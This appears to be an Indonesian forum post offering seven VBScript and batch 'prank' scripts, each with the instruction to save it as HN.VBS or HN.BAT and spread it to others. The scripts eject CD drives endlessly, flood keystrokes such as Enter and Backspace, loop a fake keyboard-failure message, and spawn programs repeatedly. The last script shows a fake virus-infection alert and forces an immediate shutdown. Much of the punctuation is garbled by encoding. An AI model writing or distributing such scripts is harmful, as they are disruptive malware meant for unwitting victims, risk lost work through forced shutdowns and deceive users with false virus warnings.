FVCK SACENK

1. Iseng Mengeject CD-Drive Terus Menerus

Quote:Set oWMP = CreateObject(�WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kemudian save dengan �HN.VBS� & sebarkan..

2. Iseng Dengan Tombol Enter Terus Menerus

Quote:Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �~(enter)�
loop

Kemudian save dengan �HN.VBS� & sebarkan..

3. Iseng Dengan Pesan Lambat Notepad �Hello, how are you? I am good thanks!�

Quote:WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(�WScript.Shell�)
WshShell.Run �notepad�
WScript.Sleep 100
WshShell.AppActivate �Notepad�
WScript.Sleep 500
WshShell.SendKeys �Hel�
WScript.Sleep 500
WshShell.SendKeys �lo �
WScript.Sleep 500
WshShell.SendKeys �, ho�
WScript.Sleep 500
WshShell.SendKeys �w a�
WScript.Sleep 500
WshShell.SendKeys �re �
WScript.Sleep 500
WshShell.SendKeys �you�
WScript.Sleep 500
WshShell.SendKeys �? �
WScript.Sleep 500
WshShell.SendKeys �I a�
WScript.Sleep 500
WshShell.SendKeys �m g�
WScript.Sleep 500
WshShell.SendKeys �ood�
WScript.Sleep 500
WshShell.SendKeys � th�
WScript.Sleep 500
WshShell.SendKeys �ank�
WScript.Sleep 500
WshShell.SendKeys �s! �

Kemudian save dengan �HN.VBS� & sebarkan..
4. Iseng Dengan Backspace

Quote:MsgBox �Maaf, Anda Harus Mengulang Kembali�
Set wshShell =wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �{bs}�
loop

Kemudian save dengan �HN.VBS� & sebarkan..
5. Iseng Dengan Membuka Calculator Terus Menerus

Quote:@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

Kemudian save dengan �HN.BAT� & sebarkan..

6. Iseng Dengan Keyboard

Quote:Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki�
loop

Kemudian save dengan �HN.VBS� & sebarkan..

7. Iseng Dengan Shutdown Computer

Quote:@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c �Error! Virus Menyebar Keseluruh System!� -s -t 0

Kemudian save dengan �HN.BAT� & sebarkan..